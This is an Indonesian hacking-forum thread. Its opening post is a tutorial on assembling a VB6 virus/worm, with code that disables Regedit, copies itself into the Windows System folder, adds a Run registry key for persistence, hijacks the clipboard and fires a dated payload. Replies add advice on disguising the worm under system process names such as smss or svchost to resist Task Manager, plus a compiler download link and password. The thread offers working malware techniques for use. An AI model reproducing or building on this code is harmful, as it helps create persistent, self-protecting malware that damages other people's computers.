Dasar Perakitan Virus/Worm dengan VB6

Beberapa dekade belakangan ini mulai banyak bermunculan virus/worm lokal yang dirakit menggunakan bahasa pemrograman VB6. Bagaimanakah teknik pembuatan virus tersebut ? Disini saya akan memberikan sedikit ilustrasi mengenai dasar perakitan Virus/Worm dengan menggunakan bahasa pemrograman VB6.

Pada dasarnya sebuah Virus/Worm memiliki ciri khas berikut :

1.Mampu menggandakan diri

2.Mampu melindungi diri [stealth]

3.Mampu memanipulasi sistem

4.Mampu unjuk gigi [pamer]

5.Mampu melakukan rekayasa sosial.

Kita lanjut dengan contoh potongan coding virus/worm menggunakan VB6. Coding sengaja dipotong untuk menghindari anak kecil yang lagi belajar copy paste dan ga sengaja bikin virus di VB
——————————————————————

Private Sub Form_Load()
On Error Resume Next
If App.PrevInstance = True Then End
Call RegDisable
Call InfeksiSistem
If App.Path = “A:\” Or “B:\” Then
Unload Me
End If
End Sub

——————————————————————

Potongan kode ini melakukan beberapa hal yaitu :

On Error Resume Next :

Apabila terjadi error, maka program akan melanjutkan rutin kode selanjutnya.

If App.PrevInstance = True Then End :

Apabila virus telah aktif, maka akhiri program.

Call RegDisable
Call InfeksiSistem

Memanggil rutin prosedur RegDisable dan Infeksi sistem .

If App.Path = “A:\” Or “B:\” Then
Unload Me

Apabila virus aktif pada drive A:\ atau B:\ maka akhiri program.

——————————————————————

Private Sub WormTimer_Timer()
On Error Resume Next
Clipboard.Clear
Clipboard.SetText “Ohh rembulan….. !!!”
End Sub

——————————————————————

Kode diatas merupakan prosedur timer, yang akan dieksekusi setiap panjang detik tertentu.Saat dieksekusi, virus akan melakukan perintah :

Clipboard.Clear
Clipboard.SetText “Ohh rembulan….. !!!”

yaitu menghapus clipboard pada komputer anda, dan setiap kali anda melakukan fungsi “paste” pada program , maka akan tercetak tulisan “Ohh rembulan…. !!!”

——————————————————————

Private Sub WormTimer2_Timer()
On Error Resume Next
Call InfeksiDisket
If Day(Now) = 25 And Month(Now) = 12 Then
Call Payload
Unload Me
End If
End Sub

——————————————————————

Kode ini juga merupakan prosedur timer yang akan dieksekusi setiap detik tertentu, saat dieksekusi virus akan melakukan perintah :

Call InfeksiDisket
If Day(Now) = 25 And Month(Now) = 12 Then
Call Payload
Unload Me

Yaitu memanggil prosedur InfeksiDisket, kemudian jika hari ini adalah Natal, yaitu tanggal 25 Desember, maka virus memanggil prosedur Payload. Jika Bukan hari natal, maka virus tidak memanggil prosedur ini.

——————————————————————

Function RegString(HiveAndKey As String, _
Value As String)
Dim wormreg As Variant
Set wormreg = CreateObject(”wscript.Shell”)
wormreg.Regwrite HiveAndKey, Value
End Function

Function RegDWord(HiveAndKey As String, _
Value As Integer)
Dim wormreg As Variant
Set wormreg = CreateObject(”wscript.shell”)
wormreg.Regwrite HiveAndKey, Value, “REG_DWORD”
End Function

——————————————————————

Pada baris kode ini, virus mendeklarasikan fungsi RegString dan RegDWord untuk melakukan manipulasi pada registry windows.

——————————————————————

Private Sub RegDisable()
On Error Resume Next
RegDWord “HKCU\Software\Microsoft\Windows\Current” & _
“Version\Policies\System\DisableRegistryTools”, 1
End Sub

——————————————————————

Pada prosedur RegDisable ini , Virus akan menonaktifkan fungsi Regedit pada Windows, sehingga dapat melindungi dirinya dari penghapusan.

——————————————————————

Private Sub InfeksiSistem()
On Error Resume Next
Dim infeksiworm As Variant
Dim sysfolder As Object
Set infeksiworm = CreateObject(”scripting.filesystemobject”)
Set sysfolder = infeksiworm.GetSpecialFolder(1)
FileCopy WormFile, sysfolder & “\” & “windll.exe”
RegString “HKLM\Software\Microsoft\Windows\Curr” & _
“entVersion\Run\windll”, sysfolder & “\” & “windll.exe”
End Sub

——————————————————————

Pada prosedur InfeksiSistem, virus akan mencari direktori System Windows dengan baris kode dibawah ini :

Dim infeksiworm As Variant
Dim sysfolder As Object
Set infeksiworm = CreateObject(”scripting.filesystemobject”)
Set sysfolder = infeksiworm.GetSpecialFolder(1)

Kemudian Virus akan menggandakan dirinya dengan baris kode berikut :

FileCopy WormFile, sysfolder & “\” & “windll.exe”

Selain itu virus juga akan memanipulasi registry agar dijalankan setiap kali booting masuk ke windows :

RegString “HKLM\Software\Microsoft\Windows\Curr” & _
“entVersion\Run\windll”, sysfolder & “\” & “windll.exe”
Selain itu virus juga akan memanipulasi registry agar dijalankan setiap kali booting masuk ke windows :

RegString “HKLM\Software\Microsoft\Windows\Curr” & _
“entVersion\Run\windll”, sysfolder & “\” & “windll.exe”

Oke deh, sekian perkenalan kita dengan dasar perakitan Virus/Worm VB6 Silahkan belajar lebih lanjut mengenai Virus/Worm melalui internet dan juga buku-buku hacking yang belakangan ini marak terbit ditoko buku.

Referensi :

Computer Worm 1 - Secret of UnderGround Coding by Achmad Darmal.

mantafff bro!!!! :D:D:D

asik tuh kayaknya...
coba ahh....

EA Ngel wrote:

Private Sub InfeksiSistem()
On Error Resume Next
Dim infeksiworm As Variant
Dim sysfolder As Object
Set infeksiworm = CreateObject(”scripting.filesystemobject”)
Set sysfolder = infeksiworm.GetSpecialFolder(1)
FileCopy WormFile, sysfolder & “\” & “windll.exe”
RegString “HKLM\Software\Microsoft\Windows\Curr” & _
“entVersion\Run\windll”, sysfolder & “\” & “windll.exe”
End Sub

Cuma mo nambahin dikit tentang infeksi system nieh, boleh kan...
biar pirusznya gak bisa di kill ama task manager...
kasih nama piruz seperti nama system windows (smss, csrss, services, svchost, winlogon, lsass, dll)
truz taruh piruz itu di taruh di drive tempat windows terinstall...

for the example :

Private Sub InfeksiSistem()
On Error Resume Next
Dim infeksiworm As Variant
Dim sysfolder As Object
Set infeksiworm = CreateObject(”scripting.filesystemobject”)
Set sysfolder = infeksiworm.GetSpecialFolder(1)
FileCopy WormFile, sysfolder & “\” & “smss.exe”
RegString “HKLM\Software\Microsoft\Windows\Curr” & _
“entVersion\Run\smss”, sysfolder & “\” & “smss.exe”
End Sub

klo masalah visual basic kasi ama blu3_cyb3r aza

btw klo dah jadi jangan lupa di aktifin

lagi2x..

dengan bangga...


kukatakan..


nggak ngaertii!!!!

gini om mending om download dulu programnya visual basic 6 buat compile tuh worm jadi .exe


http://www.4shared.com/file/39866128/31ba68d3/Visual_Basic_6_Portable_By_EKO_X.html

sedot

bL4Ck_3n91n3 wrote:

klo masalah visual basic kasi ama blu3_cyb3r aza

btw klo dah jadi jangan lupa di aktifin

ah biasa aja kali omz....

bL4Ck_3n91n3 wrote:

gini om mending om download dulu programnya visual basic 6 buat compile tuh worm jadi .exe


http://www.4shared.com/file/39866128/31ba68d3/Visual_Basic_6_Portable_By_EKO_X.html

sedot

kalo menurutq sih vb portable tuh kurang bagus...
coz... componentnya dikit banget....
tp kl bwat belajar seh gpp seh...


ngomong² vb portablenya dipassword tuh
kl gak passnya : www.blackcyber.co.nr ya omz b_3

betul lebih baik jangan yang portble...

contohnya kyak virus w tapi syangna kedetek ma PCMAV (si*lan)..........

klo mo nge view iso liat di google keyword:gonzhack

xixixixixi


oh yach bung En ANgel chat kya biasa lagi dunk lagi sbuk nih....!
wkwkwkwkwk

gonzhack wrote:

betul lebih baik jangan yang portble...

oh yach bung En ANgel chat kya biasa lagi dunk lagi sbuk nih....!
wkwkwkwkwk

Portable VB cuman altrenatif, apabila klo kita mau buat virus di warnet trus diwarnet gak ada VB.
well,emank sih di Portable VB ada beberapa kekurangan. Antara lain compile exe nya.


ak sering kok chat

mantap bozzzz
thanks abissss